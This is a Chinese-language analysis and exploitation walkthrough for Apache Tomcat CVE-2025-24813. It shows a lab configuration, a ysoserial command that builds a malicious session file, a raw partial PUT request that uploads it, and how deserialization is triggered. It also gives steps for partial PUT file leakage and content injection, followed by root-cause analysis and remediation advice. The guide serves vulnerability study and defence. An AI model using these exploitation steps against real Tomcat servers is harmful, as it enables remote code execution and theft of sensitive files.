关于Apache Tomcat CVE-2025-24813的全部
字数 1872 2025-08-29 22:41:32

Apache Tomcat CVE-2025-24813 漏洞分析与利用指南

漏洞概述

CVE-2025-24813 是 Apache Tomcat 中发现的一个严重漏洞,于 2025 年初被发现并在三月由 Tomcat 官方公开披露。该漏洞主要影响 Default Servlet 的部分 PUT 功能实现,可能导致远程代码执行、敏感信息泄露或恶意文件内容注入。

漏洞影响

  • 远程代码执行:在特定配置下可导致 RCE
  • 信息泄露:可能泄露服务器上的敏感文件
  • 文件内容注入:可能向上传的文件中注入恶意内容

环境准备

测试环境配置

  1. Tomcat 版本:9.0.98
  2. 临时目录C:\Users\swordlight\.SmartTomcat\tomcat9\tomcat9\work\Catalina\localhost\tomcat9
  3. web.xml 配置:设置 Default Servlet 的 readonly 为 false
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
  1. context.xml 配置:开启 session 持久化
<Manager className="org.apache.catalina.session.PersistentManager"
         debug="0"
         saveOnRestart="false"
         maxActiveSession="-1"
         minIdleSwap="-1"
         maxIdleSwap="-1"
         maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" />
</Manager>
  1. 添加依赖:commons-collections 3.1(用于反序列化利用)
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

漏洞利用 - 反序列化命令执行

利用步骤

  1. 生成恶意 session 文件
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" > /tmp/test.session
  1. 上传 session 文件
PUT /tomcat9/test/session HTTP/1.1
Host: localhost:8084
Accept-Encoding: gzip, deflate, br, zstd
Content-Range: bytes 0-1276/1277

{{file(C:\Users\swordlight\Downloads\test.session)}}
  1. 触发反序列化
    • 发送带有 .test cookie 的请求
    • 或者等待 Tomcat 自动加载 session 文件(后台异步进程)

关键点分析

  1. 临时文件命名

    • DefaultServlet 的 executePartialPut 方法会基于用户提供的文件名命名临时文件(格式:.+原始文件名
    • 文件后缀名可控
  2. Session 文件加载

    • FileStore 的 cookie 名由客户端请求的 cookie 决定,可包含特殊字符(如.
    • 开启 session 持久化时,默认将 session 文件存储在 javax.servlet.context.tempdir 指向的目录
  3. 异步加载机制

    • ManagerBase 类会启动异步进程调用 processExpires() 方法定时轮询 .session 文件
    • 触发请求非必须,但可加速反序列化过程

漏洞利用 - 敏感信息泄露/恶意文件内容注入

利用条件

  1. 默认 Servlet 允许写入(默认关闭)
  2. 支持 Partial PUT(默认启用)
  3. 安全敏感上传目录是公共上传目录的子目录
  4. 攻击者知道敏感文件名
  5. 敏感文件是通过 partial PUT 上传的

利用步骤

  1. 构造敏感文件场景

    • 在 Tomcat 根目录下创建 conf 文件夹存放敏感文件
    • 上传包含密码的 sensitive.txt 文件
  2. 复制敏感文件内容

    • 发送 PUT 请求上传空文件 conf.sensitive.txt
    • 内容范围需与空文件一致
  3. 读取敏感内容

    • GET 请求 /conf.sensitive.txt 即可获取敏感内容

恶意文件内容注入

通过多次对 /conf/sensitive.txt 进行 Partial PUT,中间穿插一次带有恶意内容的对 /conf.sensitive.txt 的 Partial PUT,可实现向 /conf/sensitive.txt 注入恶意内容。

漏洞分析

反序列化命令执行

  1. 执行流程

    • 用户上传文件 → 创建临时文件(.+原始文件名
    • 临时文件与 session 文件存储在同一目录
    • 通过 cookie 触发或自动加载 session 文件
  2. 调用栈

    processExpires()
    load()
    readSession()
    readSessionData()
    deserialize()
    

敏感信息泄露/文件注入

  1. 核心机制

    • /test/file/test.file 的 Partial PUT 请求会生成相同的临时文件名
    • 临时文件不会被自动删除(除非 Tomcat 重启)
  2. 利用原理

    • 上传敏感文件后,尝试 Partial PUT 空文件
    • 最终上传的文件会包含敏感文件内容

总结

CVE-2025-24813 是一个多面性的漏洞,主要利用点包括:

  1. 远程代码执行

    • 需要 Default Servlet 写入权限和 session 持久化
    • 利用文件命名和加载机制实现反序列化
  2. 信息泄露/文件注入

    • 利用临时文件命名规则和未清理机制
    • 需要特定目录结构和文件命名知识

防护建议

  1. 升级到修复版本
  2. 保持 Default Servlet 的 readonly 为 true
  3. 谨慎配置 session 持久化
  4. 限制上传目录权限
Apache Tomcat CVE-2025-24813 漏洞分析与利用指南 漏洞概述 CVE-2025-24813 是 Apache Tomcat 中发现的一个严重漏洞,于 2025 年初被发现并在三月由 Tomcat 官方公开披露。该漏洞主要影响 Default Servlet 的部分 PUT 功能实现,可能导致远程代码执行、敏感信息泄露或恶意文件内容注入。 漏洞影响 远程代码执行 :在特定配置下可导致 RCE 信息泄露 :可能泄露服务器上的敏感文件 文件内容注入 :可能向上传的文件中注入恶意内容 环境准备 测试环境配置 Tomcat 版本 :9.0.98 临时目录 : C:\Users\swordlight\.SmartTomcat\tomcat9\tomcat9\work\Catalina\localhost\tomcat9 web.xml 配置 :设置 Default Servlet 的 readonly 为 false context.xml 配置 :开启 session 持久化 添加依赖 :commons-collections 3.1(用于反序列化利用) 漏洞利用 - 反序列化命令执行 利用步骤 生成恶意 session 文件 : 上传 session 文件 : 触发反序列化 : 发送带有 .test cookie 的请求 或者等待 Tomcat 自动加载 session 文件(后台异步进程) 关键点分析 临时文件命名 : DefaultServlet 的 executePartialPut 方法会基于用户提供的文件名命名临时文件(格式: .+原始文件名 ) 文件后缀名可控 Session 文件加载 : FileStore 的 cookie 名由客户端请求的 cookie 决定,可包含特殊字符(如 . ) 开启 session 持久化时,默认将 session 文件存储在 javax.servlet.context.tempdir 指向的目录 异步加载机制 : ManagerBase 类会启动异步进程调用 processExpires() 方法定时轮询 .session 文件 触发请求非必须,但可加速反序列化过程 漏洞利用 - 敏感信息泄露/恶意文件内容注入 利用条件 默认 Servlet 允许写入(默认关闭) 支持 Partial PUT(默认启用) 安全敏感上传目录是公共上传目录的子目录 攻击者知道敏感文件名 敏感文件是通过 partial PUT 上传的 利用步骤 构造敏感文件场景 : 在 Tomcat 根目录下创建 conf 文件夹存放敏感文件 上传包含密码的 sensitive.txt 文件 复制敏感文件内容 : 发送 PUT 请求上传空文件 conf.sensitive.txt 内容范围需与空文件一致 读取敏感内容 : GET 请求 /conf.sensitive.txt 即可获取敏感内容 恶意文件内容注入 通过多次对 /conf/sensitive.txt 进行 Partial PUT,中间穿插一次带有恶意内容的对 /conf.sensitive.txt 的 Partial PUT,可实现向 /conf/sensitive.txt 注入恶意内容。 漏洞分析 反序列化命令执行 执行流程 : 用户上传文件 → 创建临时文件( .+原始文件名 ) 临时文件与 session 文件存储在同一目录 通过 cookie 触发或自动加载 session 文件 调用栈 : 敏感信息泄露/文件注入 核心机制 : 对 /test/file 和 /test.file 的 Partial PUT 请求会生成相同的临时文件名 临时文件不会被自动删除(除非 Tomcat 重启) 利用原理 : 上传敏感文件后,尝试 Partial PUT 空文件 最终上传的文件会包含敏感文件内容 总结 CVE-2025-24813 是一个多面性的漏洞,主要利用点包括: 远程代码执行 : 需要 Default Servlet 写入权限和 session 持久化 利用文件命名和加载机制实现反序列化 信息泄露/文件注入 : 利用临时文件命名规则和未清理机制 需要特定目录结构和文件命名知识 防护建议 : 升级到修复版本 保持 Default Servlet 的 readonly 为 true 谨慎配置 session 持久化 限制上传目录权限